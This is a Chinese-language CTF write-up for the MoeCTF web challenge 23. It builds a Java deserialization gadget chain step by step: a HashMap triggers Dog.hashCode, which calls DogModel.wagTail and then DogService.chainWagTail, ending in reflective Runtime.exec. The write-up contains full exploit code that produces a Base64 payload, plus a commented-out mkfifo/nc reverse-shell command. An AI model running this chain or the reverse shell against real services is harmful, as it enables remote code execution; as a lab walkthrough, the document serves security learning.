MoeCTF-web23详解
readobject-->?-->rce
我们的rce经典模板
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
//获取类
Class c = Runtime.class;
//获取类方法
Method execMethod = c.getMethod("exec", String.class);
//反射调用,调用对象r,调用参数计算器
execMethod.invoke(r,"calc");
}
}
分析源码,在Dogmodel.java有反射方法,且可控,

/* */ default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
/* */ try {
/* 15 */ Class<?> cls = input.getClass();//获取目标对象的Class对象(反射的基础)
/* 16 */ Method method = cls.getMethod(methodName, paramTypes);// 通过Class对象获取指定的公开方法
/* 17 */ return method.invoke(input, args);//执行方法并返回结果(反射调用的核心)
/* 18 */ }
//捕捉异常
catch (Exception e) {
/* 19 */ e.printStackTrace();
/* */
/* 21 */ return null;
/* */ }
/* */ }
wagTail接口方法,接收四个参数,input(目标对象)、methodName(方法名)、paramTypes(参数类型)、args(参数值),很明显都是可控的,他的基本逻辑就是反射
问题是接口,需要调用一下,而Dog.java这里调用了该接口,我们可以通过这个入手调试

import com.example.demo.Dog.DogModel;
public class test2 {
public static void main(String[] args) {
DogModel test = new DogModel() {
@Override
public int getId() {
return 0;
}
@Override
public void setId(int paramInt) {
}
@Override
public String getName() {
return "";
}
@Override
public String getBreed() {
return "";
}
@Override
public int getAge() {
return 0;
}
@Override
public void feed() {
}
};
// 1. 获取Runtime单例对象(执行系统命令的核心类)
Runtime runtime = Runtime.getRuntime();
// 2. 构造wagTail方法的调用参数(反射调用Runtime.exec)
String methodName = "exec"; // 要调用的Runtime方法名
Class[] paramTypes = {String.class};
Object[] argsexe = {"calc.exe"};
// 3. 调用DogModel的wagTail方法(本质是反射执行runtime.exec("calc.exe"))
test.wagTail(runtime, methodName, paramTypes, argsexe);
}
}
调试成功,获得readobjec-->?-->DogModel.wagTail-->rce
readobject-->?-->DogModel.wagTail-->rce
现在有个问题,wagTail方法只执行了最后一步而获取类、类方法他并没有做到,于是乎我们需要找到一个东西能让他多用几次,根据wagTail方法往上找

这里有两个类,我们先看DogService.java,因为那个函数是Chain,链式应该能多次触发(猜的)
/* */ public Object chainWagTail() {
/* 40 */ Object input = null;
/* 41 */ for (Dog dog : this.dogs.values()) {//遍历dogs Map中的所有Dog对象(按key顺序)
/* 42 */ if (input == null) {
/* 43 */ input = dog.object;
/* */ }
/* 45 */ Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
/* 46 */ input = result;
/* */ }
/* 48 */ return input;
/* */ }
他这个方法大概意思是 按顺序遍历 dogsMap 中的所有 Dog 对象,依次调用每个 Dog 的 wagTail 方法,并将「上一个Dog.wagTail的执行结果」自动作为「下一个 Dog.wagTail 的 input 参数」
那我只需要向dogsMap传入三个dog,就能完成反射的三个步骤
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}
public static void main(String[] args) throws Exception {
// dog1:获取 Runtime.getRuntime() 方法对象
Dog dog1 = createDog(
Runtime.class,
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
);
// dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(
dog1,
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{"null", new Class[0]}
);
// dog3:执行 Runtime.exec(command) 弹计算器
Dog dog3 = createDog(
dog2,
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
到这里我们的三个dog已经创建完毕,现在需要把他传入dogsMap里,

dogsMap在DogService.java里,并且是私有的,我们需要把他拿出来用,创建并传入数据
DogService dogService = new DogService();// 1. 创建DogService实例
Field dogsField = DogService.class.getDeclaredField("dogs");// 2. 获取DogService类中名为"dogs"的字段对象
dogsField.setAccessible(true);// 3. 关闭访问权限检查(突破private限制)
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);// 4. 获取dogService实例中dogs字段的实际值(Map引用)
到现在我们只需要调用了
// 3. 调用 chainWagTail 调试
dogService.chainWagTail();
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogModel;
import com.example.demo.Dog.DogService;
import java.lang.reflect.Field;
import java.util.Map;
import static org.springframework.test.util.ReflectionTestUtils.setField;
public class test2 {
// 工具方法:创建 Dog 对象(封装反射赋值逻辑)
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}
public static void main(String[] args) throws Exception {
// dog1:获取 Runtime.getRuntime() 方法对象
Dog dog1 = createDog(
Runtime.class,
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
);
// dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(
dog1,
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
);
// dog3:执行 Runtime.exec(command) 弹计算器
Dog dog3 = createDog(
dog2,
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
// 2. 构造 DogService 并填充 dogs Map
DogService dogService = new DogService();
Field dogsField = DogService.class.getDeclaredField("dogs");
dogsField.setAccessible(true);
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);
// 3. 调用 chainWagTail 调试
dogService.chainWagTail();
}
}
到目前为止我们的链子变成了 readobjec-->?-->DogService.chainWagTail-->DogModel.wagTail-->rce
至于怎么触发DogService.chainWagTail,我们可以用DogModel.wagTail
所以是readobjec-->?-->DogModel.wagTail-->DogService.chainWagTail-->DogModel.wagTail-->rce
readobject-->?-->DogModel.wagTail-->DogService.chainWagTail-->DogModel.wagTail-->rce
基本上到这里链子已经很完善了,只需要找到一个自动触发DogModel.wagTail,一个自动触发的反序列化点
而我们之前已经看到了触发DogModel.wagTail的还有一个Dog.hashCode()方法

每次调用⼀个 Dog 对象的 hashCode() 方法计算哈希码之前,都会调用到 wagTail() 方法,这就可以自动触发到 wagTail() 了
那我还需要再多一条狗才能指向到chainWagTail
Dog dog4 = createDog(
dogService, // input = dogService实例
"chainWagTail", // 要调用的方法名:chainWagTail
new Class[0], // chainWagTail无参数 → 空参数类型数组
new Object[0] // chainWagTail无参数 → 空参数值数组
);
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogModel;
import com.example.demo.Dog.DogService;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import static org.springframework.test.util.ReflectionTestUtils.setField;
public class test2 {
// 工具方法:创建 Dog 对象(封装反射赋值逻辑)
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}
public static void main(String[] args) throws Exception {
// dog1:获取 Runtime.getRuntime() 方法对象
Dog dog1 = createDog(
Runtime.class,
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
);
// dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(
dog1,
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
);
// dog3:执行 Runtime.exec(command) 弹计算器
Dog dog3 = createDog(
dog2,
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
// 2. 构造 DogService 并填充 dogs Map
DogService dogService = new DogService();
Field dogsField = DogService.class.getDeclaredField("dogs");
dogsField.setAccessible(true);
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);
Dog dog4 = createDog(
dogService, // input = dogService实例
"chainWagTail", // 要调用的方法名:chainWagTail
new Class[0], // chainWagTail无参数 → 空参数类型数组
new Object[0] // chainWagTail无参数 → 空参数值数组
);
// ========== 4. 触发dog4.hashCode() → 自动调用wagTail → 执行chainWagTail ==========
// 核心原理:HashMap.put(key, value) 会自动调用key的hashCode()方法
// 从而触发:dog4.hashCode() → wagTail(dogService, "chainWagTail") → 执行chainWagTail
Map<Object, Object> triggerMap = new HashMap<>();
triggerMap.put(dog4, "1");
}
}
至此链子已成,我们只需要找到反序列化

public void importDogsBase64(String base64Data) {
/* 67 */ try(ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
/* 68 */ ObjectInputStream ois = new ObjectInputStream(bais)) {
/* 69 */ Collection<Dog> imported = (Collection<Dog>)ois.readObject();
/* 70 */ for (Dog dog : imported) {
/* 71 */ dog.setId(this.nextId++);
/* 72 */ this.dogs.put(Integer.valueOf(dog.getId()), dog);
/* */ }
/* 74 */ } catch (IOException|ClassNotFoundException e) {
/* 75 */ e.printStackTrace();
/* */ }
/* */ }
在 DogService.importDogsBase64() 中可以找到执行了 ObjectInputStream.readObject() 方法,是典型的 Java 反序列化的入口:
importDogsBase64() 这个⽅法会接收⼀串经过 base64 编码后的数据,先对其进行解码,然后反序列化出 Dog 集 合,为每个 Dog 对象重新分配 ID 后存⼊本地的 dogs 集合中
// 新增:序列化+Base64编码(生成payload)
public static String serializeToBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// 新增:Base64解码+反序列化(模拟目标系统处理payload)
public static Object deserializeFromBase64(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject(); // 反序列化时自动触发hashCode→RCE
}
}
exp
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogModel;
import com.example.demo.Dog.DogService;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import static org.springframework.test.util.ReflectionTestUtils.setField;
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class test2 {
// 新增:序列化+Base64编码(生成payload)
public static String serializeToBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// 新增:Base64解码+反序列化(模拟目标系统处理payload)
public static Object deserializeFromBase64(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject(); // 反序列化时自动触发hashCode→RCE
}
}
// 工具方法:创建 Dog 对象(封装反射赋值逻辑)
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}
public static void main(String[] args) throws Exception {
// dog1:获取 Runtime.getRuntime() 方法对象
Dog dog1 = createDog(
Runtime.class,
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
);
// dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(
dog1,
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
);
Dog dog3 = createDog(
dog2,
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
DogService dogService = new DogService();
Field dogsField = DogService.class.getDeclaredField("dogs");
dogsField.setAccessible(true);
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);
Dog dog4 = createDog(
dogService,
"aaa",
new Class[0],
new Object[0]
);
Map<Object, Object> triggerMap = new HashMap<>();
triggerMap.put(dog4, "null");
setField(dog4,"methodName", "chainWagTail");
// 5. 序列化HashMap生成Base64 payload(模拟本地构造payload)
String payload = serializeToBase64(triggerMap);
System.out.println("生成的恶意payload:" + payload);
// 6. 反序列化(模拟目标系统接收payload并处理)
// 这一行执行时,会自动触发hashCode→wagTail→chainWagTail→弹计算器
deserializeFromBase64(payload);
}
}
还有一个就是要用反弹shell的命令的时候,下面这两个地方都要写成数组形式

exp2
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class exp{
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 创建Dog对象
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception{
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}
public static void main(String[] args) throws Exception{
// 要执行的命令
String command = "calc.exe";
// //String[] command = new String[] {
// "/bin/sh",
// "-c",
// "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 2333 >/tmp/f"
// };
// 构造链式调用
// 第一步:获取 getRuntime 方法对象
Dog dog1 = createDog(Runtime.class,
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0] });
// 第二步:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(dog1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
// 第三步:执行 Runtime.exec(command)
Dog dog3 = createDog(dog2,
"exec",
new Class[]{String.class},
new Object[]{command});
// 构造 DogService 对象,填充逻辑链
DogService dogService = new DogService();
// 反射获取 dogs 字段
Field dogsField = DogService.class.getDeclaredField("dogs");
dogsField.setAccessible(true);
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
// 依次放入 Map,chainWagTail 会按顺序遍历并传递 result
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);
// 构造触发点
Dog dog4 = createDog(dogService, "aaa", new Class[0], new Object[0] );
// 触发触发点
Map<Object, Object> hashMap = new HashMap();
hashMap.put(dog4, "value");
setField(dog4, "methodName", "chainWagTail");
// 生成payload
String payload = serializeBase64(hashMap);
System.out.println(payload);
unserializeBase64(payload);
}
}
链子
HashMap.readObjetc-->HashMap.hash-->Dog.hashCode()-->DogModel.wagTail-->DogService.chainWagTail-->DogModel.wagTail-->rce

浙公网安备 33010602011771号